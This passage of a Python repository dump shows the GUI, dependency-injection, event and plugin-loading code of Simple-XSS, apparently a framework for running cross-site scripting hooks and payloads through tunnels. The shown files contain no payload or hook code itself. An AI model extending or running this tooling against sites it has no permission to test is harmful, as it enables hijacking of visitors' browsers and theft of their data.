86 | options = [
87 | payload.NAME
88 | for payload in self._manager.packages
89 | ]
90 | self._payload_dropdown.options = [
91 | ft.dropdown.Option(option)
92 | for option in options
93 | ]
94 |
95 | if self._payload_dropdown.value not in options:
96 | self._payload_dropdown.value = None
97 |
98 | async def setup_async(self):
99 | self._payload_dropdown.value = self.context.settings.payload.current
100 | await self.update_async()
101 |
102 | async def update_async(self):
103 | self._update_payload_options()
104 | self._update_payload_info()
105 | await self._update_container()
106 |
107 | async def validate_async(self):
108 | if self._payload_dropdown.value is None:
109 | raise ValidationError('Please choose payload')
110 |
111 | async def save_async(self):
112 | self.context.settings.payload.current = self._payload_dropdown.value
113 |
114 | def build(self):
115 | return self._container
116 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/process.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 | import pyperclip
3 |
4 | from .constants import ICON_SIZE
5 | from .enums import Messages
6 | from ..types import BaseComponent
7 | from ..channels import GUIChannel
8 |
9 |
10 | class ProcessControlBox(BaseComponent):
11 | def __init__(self):
12 | self._launch_button = ft.IconButton(
13 | icon=ft.icons.PLAY_ARROW,
14 | icon_size=ICON_SIZE,
15 | icon_color=ft.colors.GREEN,
16 | tooltip=Messages.RUN,
17 | on_click=self._launch_process,
18 | )
19 |
20 | self._terminate_button = ft.IconButton(
21 | icon=ft.icons.STOP,
22 | icon_size=ICON_SIZE,
23 | icon_color=ft.colors.RED,
24 | disabled=True,
25 | tooltip=Messages.STOP,
26 | on_click=self._terminate_process,
27 | )
28 | self._copy_button = ft.IconButton(
29 | icon=ft.icons.COPY,
30 | icon_size=ICON_SIZE,
31 | icon_color=ft.colors.BLUE,
32 | tooltip=Messages.COPY,
33 | on_click=self._handle_copy,
34 | )
35 | self._hook_field = ft.TextField(
36 | disabled=True,
37 | border_color=ft.colors.OUTLINE,
38 | read_only=True,
39 | hint_text=Messages.HOOK
40 | )
41 | self._container = ft.Row(
42 | controls=[
43 | ft.Column(
44 | controls=[
45 | self._launch_button
46 | ]
47 | ),
48 |
49 | ft.Column(
50 | controls=[
51 | self._terminate_button
52 | ]
53 | ),
54 | ft.Column(
55 | expand=True,
56 | controls=[
57 | self._hook_field
58 | ]
59 | ),
60 | ft.Column(
61 | controls=[
62 | self._copy_button
63 | ]
64 | ),
65 | ]
66 | )
67 |
68 | async def _launch_process(self, e):
69 | await GUIChannel.process_launched.publish_async()
70 |
71 | async def _terminate_process(self, e):
72 | await GUIChannel.process_terminated.publish_async()
73 |
74 | async def _handle_copy(self, e):
75 | pyperclip.copy(self._hook_field.value)
76 |
77 | async def update_async(self):
78 | self._hook_field.disabled = not self.context.process_running
79 | self._terminate_button.disabled = not self.context.process_running
80 | self._launch_button.disabled = self.context.process_running
81 | self._copy_button.disabled = not self.context.process_running
82 |
83 | self._hook_field.value = self.context.hook if self.context.process_running else None
84 |
85 | await self._container.update_async()
86 |
87 | def build(self):
88 | return self._container
89 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/containers.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.containers import CoreContainer
2 | from simplexss.utils.di import (
3 | containers,
4 | dependencies
5 | )
6 | from .components import (
7 | MainBox,
8 | NetworkBox,
9 | HookBox,
10 | PayloadBox,
11 | ProcessControlBox,
12 | MessageAreaBox,
13 | MessageControlBox
14 | )
15 | from .banners import (
16 | ErrorBanner,
17 | WarningBanner,
18 | )
19 | from .managers import ComponentManager
20 | from simplexss.core.ui.contexts import UIContext
21 |
22 |
23 | class GUIContainer(containers.Container):
24 | main_page = dependencies.Dependency()
25 |
26 | error_banner = dependencies.Factory(ErrorBanner)
27 | warning_banner = dependencies.Factory(WarningBanner)
28 |
29 | network_box = dependencies.Factory(NetworkBox, kwargs={
30 | 'tunneling_factory': CoreContainer.tunneling_service_factory,
31 | 'transport_factory': CoreContainer.transport_service_factory,
32 | })
33 | hook_box = dependencies.Factory(HookBox, kwargs={
34 | 'manager': CoreContainer.hook_manager,
35 | 'transport_factory': CoreContainer.transport_service_factory,
36 | })
37 | payload_box = dependencies.Factory(PayloadBox, kwargs={
38 | 'manager': CoreContainer.payload_manager,
39 | })
40 | process_control_box = dependencies.Factory(ProcessControlBox)
41 | message_area_box = dependencies.Factory(MessageAreaBox, kwargs={
42 | 'io_manager': CoreContainer.io_manager,
43 | })
44 | message_control_box = dependencies.Factory(MessageControlBox, kwargs={
45 | 'io_manager': CoreContainer.io_manager,
46 | })
47 |
48 | main_box = dependencies.Factory(MainBox, kwargs={
49 | 'network_box': network_box,
50 | 'hook_box': hook_box,
51 | 'payload_box': payload_box,
52 | 'process_control_box': process_control_box,
53 | 'message_area_box': message_area_box,
54 | 'message_control_box': message_control_box
55 | })
56 |
57 | gui_manager = dependencies.Factory(
58 | ComponentManager,
59 | kwargs={
60 | 'component': main_box,
61 | 'page': main_page,
62 | 'context': CoreContainer.ui_context,
63 | 'error_banner': error_banner,
64 | 'warning_banner': warning_banner,
65 | }
66 | )
67 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/exceptions.py:
--------------------------------------------------------------------------------
1 | class ValidationError(Exception):
2 | pass
3 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/gui.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | from simplexss.core.containers import CoreContainer
4 | from simplexss.core.logging import logger
5 | from simplexss.core.schemas import (
6 | ArgumentsSchema,
7 | SettingsSchema
8 | )
9 | from simplexss.core.config import (
10 | APP,
11 | VERSION,
12 | MIN_RESOLUTION,
13 |
14 | )
15 | from simplexss.utils.di import inject
16 | from .channels import GUIChannel
17 | from .containers import GUIContainer
18 | from ..types import BaseUI
19 | from ..channels import UIChannel
20 |
21 |
22 | class GUI(BaseUI):
23 | mode = 'gui'
24 |
25 | @inject
26 | def __init__(
27 | self,
28 | arguments: ArgumentsSchema = CoreContainer.arguments,
29 | settings: SettingsSchema = CoreContainer.settings
30 | ):
31 | self._arguments: ArgumentsSchema = arguments
32 | self._settings: SettingsSchema = settings
33 |
34 | logger.info('GUI initialized')
35 | UIChannel.ui_initialized.publish()
36 |
37 | async def _init_page(self, page: ft.Page):
38 | GUIContainer.main_page.bind(page)
39 |
40 | graphic_settings = self._settings.graphics
41 | resolution = graphic_settings.resolution
42 | page.theme_mode = graphic_settings.theme
43 | page.window_width = resolution[0]
44 | page.window_height = resolution[1]
45 | page.window_min_width = MIN_RESOLUTION[0]
46 | page.window_min_height = MIN_RESOLUTION[1]
47 | page.title = f'{APP} - V{VERSION}'
48 |
49 | manager = GUIContainer.gui_manager.value
50 | await manager.show()
51 |
52 | async def update(self):
53 | await GUIChannel.need_update.publish_async()
54 |
55 | async def run(self):
56 | await ft.app_async(self._init_page, )
57 |
58 | logger.info('GUI terminated')
59 | await UIChannel.ui_terminated.publish_async()
60 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/managers.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | from simplexss.core.ui.contexts import UIContext
4 | from .exceptions import ValidationError
5 | from .types import (
6 | BaseComponentManager,
7 | BaseComponent,
8 | BaseBanner,
9 | )
10 | from .channels import GUIChannel
11 | from ..channels import UIChannel
12 |
13 |
14 | class ComponentManager(BaseComponentManager):
15 | def __init__(
16 | self,
17 | page: ft.Page,
18 | component: BaseComponent,
19 | context: UIContext,
20 | error_banner: BaseBanner,
21 | warning_banner: BaseBanner
22 | ):
23 | self._page = page
24 | self._component = component
25 | self._error_banner = error_banner
26 | self._warning_banner = warning_banner
27 | self._context = context
28 |
29 | BaseComponent.page = page
30 | BaseComponent.context = context
31 |
32 | GUIChannel.need_update.subscribe(self._update_comps)
33 | GUIChannel.process_launched.subscribe(self._handle_process_launched)
34 | GUIChannel.process_terminated.subscribe(self._handle_process_terminated)
35 | UIChannel.show_error.subscribe(self._handle_error)
36 |
37 | async def _handle_process_launched(self):
38 | self._context.process_running = True
39 | try:
40 | await self._validate_comps()
41 | except ValidationError as e:
42 | await self._error_banner.show(self._page, str(e))
43 | self._context.process_running = False
44 | await self._update_comps()
45 | return
46 | await self._save_comps()
47 | await self._update_comps()
48 | await UIChannel.process_launched.publish_async()
49 |
50 | async def _handle_process_terminated(self):
51 | self._context.process_running = False
52 | await self._update_comps()
53 | await UIChannel.process_terminated.publish_async()
54 |
55 | async def _handle_error(self, error: str):
56 | self._context.process_running = False
57 | await self._error_banner.show(self._page, error)
58 | await self._update_comps()
59 |
60 | async def _setup_comps(self):
61 | for component in BaseComponent.components:
62 | await component.setup_async()
63 |
64 | async def _update_comps(self):
65 | for component in BaseComponent.components:
66 | await component.update_async()
67 |
68 | async def _validate_comps(self):
69 | for component in BaseComponent.components:
70 | await component.validate_async()
71 |
72 | async def _save_comps(self):
73 | for component in BaseComponent.components:
74 | await component.save_async()
75 |
76 | async def show(self):
77 | await self._page.add_async(self._component.build())
78 | await self._setup_comps()
79 | await self._update_comps()
80 |
81 | async def hide(self):
82 | await self._page.clean_async()
83 | await self._page.update_async()
84 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 |
6 | import flet as ft
7 |
8 | from simplexss.core.ui.contexts import UIContext
9 |
10 |
11 | class BaseComponent(ABC):
12 | context: UIContext = None
13 | page: ft.Page = None
14 | overlay = []
15 | components = []
16 |
17 | def __new__(cls, *args, **kwargs):
18 | instance = super().__new__(cls)
19 | cls.components.append(instance)
20 | return instance
21 |
22 | async def setup_async(self):
23 | pass
24 |
25 | async def update_async(self):
26 | pass
27 |
28 | async def validate_async(self):
29 | pass
30 |
31 | async def save_async(self):
32 | pass
33 |
34 | @abstractmethod
35 | def build(self): ...
36 |
37 |
38 | class BaseComponentManager(ABC):
39 |
40 | @abstractmethod
41 | async def show(self): ...
42 |
43 | @abstractmethod
44 | async def hide(self): ...
45 |
46 |
47 | class BaseBanner(ft.Banner):
48 | @abstractmethod
49 | async def show(self, page: ft.Page, message: str): ...
50 |
51 | @abstractmethod
52 | async def hide(self): ...
53 |
--------------------------------------------------------------------------------
/simplexss/core/ui/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 |
6 |
7 | class BaseUI(ABC):
8 | mode: str
9 |
10 | @abstractmethod
11 | async def update(self): ...
12 |
13 | @abstractmethod
14 | async def run(self): ...
15 |
16 |
17 | class BaseUIFactory(ABC):
18 | @abstractmethod
19 | def create(self, mode: str) -> BaseUI: ...
20 |
21 | @abstractmethod
22 | def get_ui(self, mode: str) -> type[BaseUI] | None: ...
23 |
--------------------------------------------------------------------------------
/simplexss/core/utils.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | from simplexss.core.config import (
4 | PAYLOAD_FILE,
5 | HOOK_FILE,
6 | )
7 | from simplexss.core.logging import logger
8 | from simplexss.core.schemas import SettingsSchema
9 | from simplexss.core.containers import CoreContainer
10 | from simplexss.core.config import (
11 | PLUGINS_DIRECTORY,
12 | PLUGIN_FILE
13 | )
14 | from simplexss.utils.di import inject
15 | from simplexss.utils.packages import (
16 | BasePackage,
17 | BasePackageManager
18 | )
19 |
20 |
21 | @inject
22 | def load_plugins(
23 | cls: BasePackage = CoreContainer.plugin_class,
24 | manager: BasePackageManager = CoreContainer.plugin_manager
25 | ):
26 | os.makedirs(PLUGINS_DIRECTORY, exist_ok=True)
27 |
28 | manager.load_packages(
29 | PLUGINS_DIRECTORY,
30 | class_name='Plugin',
31 | base_class=cls,
32 | file=PLUGIN_FILE,
33 | )
34 | logger.info(f'Plugins loaded')
35 |
36 |
37 | @inject
38 | def load_hooks(
39 | cls: BasePackage = CoreContainer.hook_class,
40 | manager: BasePackageManager = CoreContainer.hook_manager,
41 | settings: SettingsSchema = CoreContainer.settings
42 | ):
43 | os.makedirs(settings.hook.directory, exist_ok=True)
44 |
45 | manager.load_packages(
46 | settings.hook.directory,
47 | class_name='Hook',
48 | base_class=cls,
49 | file=HOOK_FILE,
50 | )
51 | logger.info('Hooks loaded')
52 |
53 |
54 | @inject
55 | def load_payloads(
56 | cls: BasePackage = CoreContainer.payload_class,
57 | manager: BasePackageManager = CoreContainer.payload_manager,
58 | settings: SettingsSchema = CoreContainer.settings
59 | ):
60 | os.makedirs(settings.payload.directory, exist_ok=True)
61 |
62 | manager.load_packages(
63 | settings.payload.directory,
64 | class_name='Payload',
65 | base_class=cls,
66 | file=PAYLOAD_FILE,
67 | )
68 | logger.info('Payloads loaded')
69 |
--------------------------------------------------------------------------------
/simplexss/utils/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/utils/__init__.py
--------------------------------------------------------------------------------
/simplexss/utils/arguments/__init__.py:
--------------------------------------------------------------------------------
1 | from .types import BaseSchemedArgumentParser
2 | from .parsers import SchemedArgumentParser
3 |
4 | __all__ = [
5 | 'BaseSchemedArgumentParser',
6 | 'SchemedArgumentParser',
7 | ]
8 |
--------------------------------------------------------------------------------
/simplexss/utils/arguments/logging.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | logger = logging.getLogger('utils.arguments')
4 |
--------------------------------------------------------------------------------
/simplexss/utils/arguments/parsers.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import inspect
3 |
4 | from typing import (
5 | Container,
6 | Sequence
7 | )
8 | from enum import Enum
9 |
10 | from pydantic import BaseModel
11 |
12 | from .types import BaseSchemedArgumentParser
13 | from .logging import logger
14 |
15 |
16 | class SchemedArgumentParser(BaseSchemedArgumentParser):
17 | def __init__(
18 | self,
19 | schema: type[BaseModel],
20 | *,
21 | ignore_fields: Container[str] | None = None,
22 | positional_arguments: Container[str] | None = None,
23 | short_aliases: dict[str, str] | None = None,
24 | **kwargs
25 | ):
26 | super(SchemedArgumentParser, self).__init__(**kwargs)
27 | self._schema = schema
28 | self._ignore_fields = ignore_fields or set()
29 | self._positional_arguments = positional_arguments or set()
30 | self._short_aliases = short_aliases or {}
31 |
32 | if schema:
33 | self._add_arguments_from_schema()
34 |
35 | @staticmethod
36 | def _is_enum(enum) -> bool:
37 | return inspect.isclass(enum) and issubclass(enum, Enum)
38 |
39 | def _is_positional_argument(self, name: str):
40 | return name in self._positional_arguments
41 |
42 | def _get_argument_type(self, field_info):
43 | field_type = field_info.annotation
44 |
45 | if self._is_enum(field_type):
46 | if issubclass(field_type, int):
47 | return int
48 | return str
49 |
50 | return field_type
51 |
52 | def _add_field_argument(self, field_name: str, field_info):
53 | field_type = field_info.annotation
54 | actual_name = field_info.alias or field_name
55 | short_name = self._short_aliases.get(
56 | field_name,
57 | self._short_aliases.get(actual_name, actual_name)
58 | ).removeprefix('-').removeprefix('--')[0]
59 |
60 | args = []
61 | kwargs = {
62 | 'default': field_info.default,
63 | 'help': field_info.description,
64 | 'type': self._get_argument_type(field_info)
65 | }
66 |
67 | if self._is_positional_argument(name=actual_name):
68 | if not field_info.is_required():
69 | kwargs.update({'nargs': '?'})
70 |
71 | args.append(actual_name)
72 | else:
73 | args.extend((f'-{short_name}', f'--{actual_name}'))
74 |
75 | if self._is_enum(field_type):
76 | kwargs.update({
77 | 'choices': tuple(map(lambda c: c.value, field_type))
78 | })
79 |
80 | self.add_argument(
81 | *args,
82 | **kwargs
83 | )
84 |
85 | def _add_arguments_from_schema(self):
86 | fields = self._schema.model_fields
87 |
88 | for name, info in fields.items():
89 | if name in self._ignore_fields:
90 | continue
91 |
92 | self._add_field_argument(
93 | field_name=name,
94 | field_info=info
95 | )
96 |
97 | def parse_schemed_args(
98 | self,
99 | args: Sequence[str] | None = None,
100 | namespace: argparse.Namespace | None = None
101 | ) -> BaseModel:
102 | namespace = self.parse_args(args=args, namespace=namespace)
103 |
104 | data = self._schema.model_validate(namespace.__dict__)
105 | logger.info(f'Arguments parsed: {data}')
106 | return data
107 |
--------------------------------------------------------------------------------
/simplexss/utils/arguments/types.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | from abc import (
3 | ABC,
4 | abstractmethod
5 | )
6 | from typing import Sequence
7 |
8 | from pydantic import BaseModel
9 |
10 |
11 | class BaseSchemedArgumentParser(argparse.ArgumentParser, ABC):
12 | @abstractmethod
13 | def parse_schemed_args(
14 | self,
15 | args: Sequence[str] | None = None,
16 | namespace: argparse.Namespace | None = None
17 | ) -> BaseModel: ...
18 |
--------------------------------------------------------------------------------
/simplexss/utils/clsutils/__init__.py:
--------------------------------------------------------------------------------
1 | from .generators import (
2 | iter_instances,
3 | iter_subclasses
4 | )
5 |
6 |
7 | __all__ = [
8 | 'iter_instances',
9 | 'iter_subclasses',
10 | ]
11 |
--------------------------------------------------------------------------------
/simplexss/utils/clsutils/generators.py:
--------------------------------------------------------------------------------
1 | import gc
2 | from typing import Generator
3 |
4 |
5 | def iter_subclasses(cls: type, max_level: int = -1) -> Generator:
6 | if max_level == 0:
7 | return
8 |
9 | for subcls in cls.__subclasses__():
10 | yield subcls
11 | for subsubcls in iter_subclasses(subcls, max_level - 1):
12 | yield subsubcls
13 |
14 |
15 | def iter_instances(cls: type, precise: bool = True) -> Generator:
16 | for instance in gc.get_objects():
17 | if isinstance(instance, cls):
18 | instance_cls = instance.__class__
19 | if not precise:
20 | yield instance
21 | elif instance_cls == cls:
22 | yield instance
23 |
--------------------------------------------------------------------------------
/simplexss/utils/di/__init__.py:
--------------------------------------------------------------------------------
1 | from .utils import (
2 | inject,
3 | async_inject,
4 | setup
5 | )
6 |
7 | __all__ = [
8 | 'inject',
9 | 'async_inject',
10 | 'setup',
11 | ]
12 |
--------------------------------------------------------------------------------
/simplexss/utils/di/containers/__init__.py:
--------------------------------------------------------------------------------
1 | from .container import Container
2 |
3 | __all__ = [
4 | 'Container',
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/utils/di/containers/container.py:
--------------------------------------------------------------------------------
1 | from typing import Collection
2 |
3 | from ..types import (
4 | BaseContainer,
5 | BaseDependency
6 | )
7 |
8 |
9 | class Container(BaseContainer):
10 | @classmethod
11 | @property
12 | def dependencies(cls) -> Collection['BaseDependency']:
13 | return list(
14 | filter(
15 | lambda x: isinstance(x, BaseDependency),
16 | cls.__dict__.values()
17 | )
18 | )
19 |
20 | @classmethod
21 | def setup(cls):
22 | pass
23 |
--------------------------------------------------------------------------------
/simplexss/utils/di/dependencies/__init__.py:
--------------------------------------------------------------------------------
1 | from .dependency import Dependency
2 | from .factory import Factory
3 | from .singleton import Singleton
4 |
5 | __all__ = [
6 | 'Dependency',
7 | 'Factory',
8 | 'Singleton',
9 | ]
10 |
--------------------------------------------------------------------------------
/simplexss/utils/di/dependencies/basic.py:
--------------------------------------------------------------------------------
1 | from abc import ABC
2 |
3 | from ..types import (
4 | BaseDependency,
5 | BaseContainer
6 | )
7 |
8 |
9 | class DependencyBasicFunctionality(BaseDependency, ABC):
10 | def __init__(self):
11 | self._container = None
12 | self._name = None
13 |
14 | def container(self) -> type[BaseContainer]:
15 | return self._container
16 |
17 | def __set_name__(self, owner: type[BaseContainer], name: str):
18 | if not issubclass(owner, BaseContainer):
19 | raise ValueError('Dependency can only be set to a container')
20 |
21 | self._container = owner
22 | self._name = name
23 |
--------------------------------------------------------------------------------
/simplexss/utils/di/dependencies/dependency.py:
--------------------------------------------------------------------------------
1 | from contextlib import contextmanager
2 |
3 | from .basic import DependencyBasicFunctionality
4 |
5 |
6 | class Dependency(DependencyBasicFunctionality):
7 | def __init__(self, value: any = None):
8 | self._value = value
9 | super().__init__()
10 |
11 | def bind(self, value: any):
12 | self._value = value
13 |
14 | @contextmanager
15 | def temp_bind(self, value: any):
16 | old_value = self._value
17 | self.bind(value)
18 |
19 | yield
20 |
21 | self.bind(old_value)
22 |
23 | @property
24 | def value(self) -> any:
25 | return self._value
26 |
27 | def __call__(self):
28 | return self.value
29 |
--------------------------------------------------------------------------------
/simplexss/utils/di/dependencies/factory.py:
--------------------------------------------------------------------------------
1 | from typing import Callable
2 |
3 | from .basic import DependencyBasicFunctionality
4 | from ..utils import inject_into_kwargs
5 |
6 |
7 | class Factory(DependencyBasicFunctionality):
8 | def __init__(self, factory: Callable, args: tuple = (), kwargs: dict = None):
9 | self._factory = factory
10 | self._args = args
11 | self._kwargs = kwargs or {}
12 |
13 | self._validate_factory()
14 | super().__init__()
15 |
16 | def _validate_factory(self):
17 | if not callable(self._factory):
18 | raise ValueError('Factory must be callable')
19 |
20 | def _create_instance(self):
21 | return self._factory(
22 | *self._args,
23 | **inject_into_kwargs(**self._kwargs),
24 | )
25 |
26 | @property
27 | def value(self) -> any:
28 | return self._create_instance()
29 |
30 | def bind_factory(self, factory: Callable):
31 | self._factory = factory
32 | self._validate_factory()
33 |
34 | def __call__(self):
35 | return self.value
36 |
--------------------------------------------------------------------------------
/simplexss/utils/di/dependencies/singleton.py:
--------------------------------------------------------------------------------
1 | from typing import Callable
2 |
3 | from .factory import Factory
4 |
5 |
6 | class Singleton(Factory):
7 | def __init__(self, factory: Callable, args: tuple = (), kwargs: dict = None):
8 | super().__init__(
9 | factory=factory,
10 | args=args,
11 | kwargs=kwargs
12 | )
13 |
14 | self._instance = None
15 |
16 | def _validate_instance(self, new):
17 | if self._instance is not None and not isinstance(new, type(self._instance)):
18 | raise TypeError(f'Instance must have a type of {type(self._instance)} not {type(new)}')
19 |
20 | def bind_instance(self, instance: any, strict: bool = True):
21 | if strict:
22 | self._validate_instance(instance)
23 |
24 | self._instance = instance
25 |
26 | @property
27 | def value(self) -> any:
28 | if self._instance is None:
29 | self._instance = self._create_instance()
30 |
31 | return self._instance
32 |
--------------------------------------------------------------------------------
/simplexss/utils/di/logging.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | logger = logging.getLogger('utils.di')
4 |
--------------------------------------------------------------------------------
/simplexss/utils/di/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 | from typing import Collection
6 |
7 |
8 | class BaseContainer(ABC):
9 | @classmethod
10 | @property
11 | @abstractmethod
12 | def dependencies(cls) -> Collection['BaseDependency']: ...
13 |
14 | @classmethod
15 | @abstractmethod
16 | def setup(cls): ...
17 |
18 |
19 | class BaseDependency(ABC):
20 | @property
21 | @abstractmethod
22 | def container(self) -> type[BaseContainer]: ...
23 |
24 | @property
25 | @abstractmethod
26 | def value(self) -> any: ...
27 |
28 | @abstractmethod
29 | def __call__(self): ...
30 |
--------------------------------------------------------------------------------
/simplexss/utils/di/utils/__init__.py:
--------------------------------------------------------------------------------
1 | from .inject import (
2 | inject,
3 | async_inject,
4 | inject_into_kwargs,
5 | inject_into_params
6 | )
7 | from .setup import setup
8 |
9 | __all__ = [
10 | 'inject',
11 | 'async_inject',
12 | 'inject_into_params',
13 | 'inject_into_kwargs',
14 | 'setup',
15 | ]
16 |
--------------------------------------------------------------------------------
/simplexss/utils/di/utils/inject.py:
--------------------------------------------------------------------------------
1 | import inspect
2 | from functools import wraps
3 | from typing import Callable
4 |
5 | from ..types import (
6 | BaseDependency,
7 | )
8 |
9 |
10 | def inject_into_kwargs(**kwargs) -> dict:
11 | result = {}
12 |
13 | for key, dep in kwargs.items():
14 | result[key] = dep
15 | if isinstance(dep, BaseDependency):
16 | result[key] = dep.value
17 | return result
18 |
19 |
20 | def inject_into_params(target: Callable) -> dict:
21 | signature = inspect.signature(target)
22 | params = signature.parameters
23 | default_values = {
24 | key: value.default
25 | for key, value in params.items()
26 | if value.default != inspect.Parameter.empty
27 | }
28 | return inject_into_kwargs(**default_values)
29 |
30 |
31 | def async_inject(target: Callable):
32 | @wraps(target)
33 | async def wrapper(*args, **kwargs):
34 | injected = inject_into_params(target)
35 | injected.update(inject_into_kwargs(**kwargs))
36 | return await target(*args, **injected)
37 |
38 | return wraps(target)(wrapper)
39 |
40 |
41 | def inject(target: Callable):
42 | if inspect.iscoroutinefunction(target):
43 | return async_inject(target)
44 |
45 | @wraps(target)
46 | def wrapper(*args, **kwargs):
47 | injected = inject_into_params(target)
48 | injected.update(inject_into_kwargs(**kwargs))
49 | return target(*args, **injected)
50 |
51 | return wrapper
52 |
--------------------------------------------------------------------------------
/simplexss/utils/di/utils/setup.py:
--------------------------------------------------------------------------------
1 | from ..types import BaseContainer
2 |
3 | from ...clsutils import (
4 | iter_subclasses,
5 | )
6 |
7 |
8 | def setup(base: type[BaseContainer] = BaseContainer):
9 | for cls in iter_subclasses(base):
10 | cls: type[BaseContainer]
11 | cls.setup()
12 |
--------------------------------------------------------------------------------
/simplexss/utils/events/__init__.py:
--------------------------------------------------------------------------------
1 | from .types import (
2 | BaseEventChannel,
3 | BaseEvent,
4 | BaseAsyncEvent
5 | )
6 | from .channels import (
7 | EventChannel,
8 | )
9 | from .events import (
10 | Event,
11 | AsyncEvent
12 | )
13 |
14 | __all__ = [
15 | 'BaseEventChannel',
16 | 'BaseEvent',
17 | 'BaseAsyncEvent',
18 |
19 | 'EventChannel',
20 | 'Event',
21 | 'AsyncEvent',
22 |
23 | ]
24 |
--------------------------------------------------------------------------------
/simplexss/utils/events/channels.py:
--------------------------------------------------------------------------------
1 | from typing import Collection
2 |
3 | from .types import (
4 | BaseEvent,
5 | BaseEventChannel
6 | )
7 |
8 |
9 | class EventChannel(BaseEventChannel):
10 | @classmethod
11 | @property
12 | def events(cls) -> Collection[BaseEvent]:
13 | return list(
14 | filter(
15 | lambda x: isinstance(x, BaseEvent),
16 | cls.__dict__.values()
17 | )
18 | )
19 |
--------------------------------------------------------------------------------
/simplexss/utils/events/events.py:
--------------------------------------------------------------------------------
1 | import inspect
2 | from typing import Callable, Iterable
3 | from functools import cache
4 |
5 | from .types import (
6 | BaseEventChannel,
7 | BaseEvent,
8 | BaseAsyncEvent
9 | )
10 | from .logging import logger
11 |
12 |
13 | class Event(BaseEvent):
14 | def __init__(self, required_kwargs: Iterable[str] = ()):
15 | self._subscribers = []
16 | self._channel = None
17 | self._name = None
18 | self._required_kwargs = required_kwargs
19 |
20 | @staticmethod
21 | def _validate_callback(callback: Callable):
22 | if not callable(callback):
23 | raise ValueError('Callback must be a callable')
24 |
25 | @staticmethod
26 | @cache
27 | def _has_event_param(callback: Callable) -> bool:
28 | signature = inspect.signature(callback)
29 | params = signature.parameters
30 | return 'event' in params
31 |
32 | def _check_kwargs(self, kwargs: dict):
33 | for arg in self._required_kwargs:
34 | if arg not in kwargs:
35 | raise ValueError(f'Argument is required: {arg}')
36 |
37 | def _inject_event(self, callback: Callable, kwargs: dict):
38 | if self._has_event_param(callback):
39 | kwargs.update({'event': self})
40 |
41 | def __set_name__(self, owner: type[BaseEventChannel], name: str):
42 | if not issubclass(owner, BaseEventChannel):
43 | raise ValueError('Event can only be set to an event channel')
44 |
45 | self._channel = owner
46 | self._name = name
47 | logger.info(f'Event registered: {name}')
48 |
49 | @property
50 | def channel(self) -> type[BaseEventChannel]:
51 | return self._channel
52 |
53 | def subscribe(self, callback: Callable):
54 | self._validate_callback(callback)
55 | if callback not in self._subscribers:
56 | self._subscribers.append(callback)
57 | logger.debug(f'Callback subscribed to {self._name}: {callback}')
58 |
59 | def publish(self, *args, **kwargs):
60 | self._check_kwargs(kwargs)
61 | for callback in self._subscribers:
62 | self._inject_event(callback, kwargs)
63 | callback(*args, **kwargs)
64 | logger.debug(f'Event published: {self._name}')
65 |
66 |
67 | class AsyncEvent(BaseAsyncEvent, Event):
68 | async def publish_async(self, *args, **kwargs):
69 | self._check_kwargs(kwargs)
70 | for callback in self._subscribers:
71 | self._inject_event(callback, kwargs)
72 | if inspect.iscoroutinefunction(callback):
73 | await callback(*args, **kwargs)
74 | else:
75 | callback(*args, **kwargs)
76 | logger.debug(f'Event published async: {self._name}')
77 |
--------------------------------------------------------------------------------
/simplexss/utils/events/logging.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | logger = logging.getLogger('utils.events')
4 |
--------------------------------------------------------------------------------
/simplexss/utils/events/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 | from typing import Collection, Callable
6 |
7 |
8 | class BaseEventChannel(ABC):
9 | @classmethod
10 | @property
11 | @abstractmethod
12 | def events(cls) -> Collection['BaseEvent']: ...
13 |
14 |
15 | class BaseEvent(ABC):
16 | @property
17 | @abstractmethod
18 | def channel(self) -> type[BaseEventChannel]: ...
19 |
20 | @abstractmethod
21 | def subscribe(self, callback: Callable): ...
22 |
23 | @abstractmethod
24 | def publish(self, *args, **kwargs): ...
25 |
26 |
27 | class BaseAsyncEvent(BaseEvent):
28 | @abstractmethod
29 | async def publish_async(self, *args, **kwargs): ...
30 |
--------------------------------------------------------------------------------
/simplexss/utils/imputils/__init__.py:
--------------------------------------------------------------------------------
1 | from .module import import_module
2 | from .cls import import_class
3 |
4 | __all__ = [
5 | 'import_class',
6 | 'import_module'
7 | ]
8 |
--------------------------------------------------------------------------------
/simplexss/utils/imputils/cls.py:
--------------------------------------------------------------------------------
1 | import inspect
2 |
3 | from .module import import_module
4 | from .logging import logger
5 |
6 |
7 | def import_class(path: str, class_name: str, base: type = object):
8 | module = import_module(path)
9 | imported_class = getattr(module, class_name, None)
10 | if not imported_class:
11 | logger.error(f'Class {class_name} not found at {path}')
12 | raise ImportError(f'Class {class_name} not found at {path}')
13 | if not inspect.isclass(imported_class):
14 | logger.error(f'Not a class {imported_class}')
15 | raise TypeError(f'Not a class {imported_class}')
16 |
17 | if not issubclass(imported_class, base):
18 | logger.error(f'Class must be a subclass of {base}')
19 | raise TypeError(f'Class must be a subclass of {base}')
20 |
21 | logger.debug(f'Class imported: {imported_class}')
22 | return imported_class
23 |
--------------------------------------------------------------------------------
/simplexss/utils/imputils/logging.py:
--------------------------------------------------------------------------------
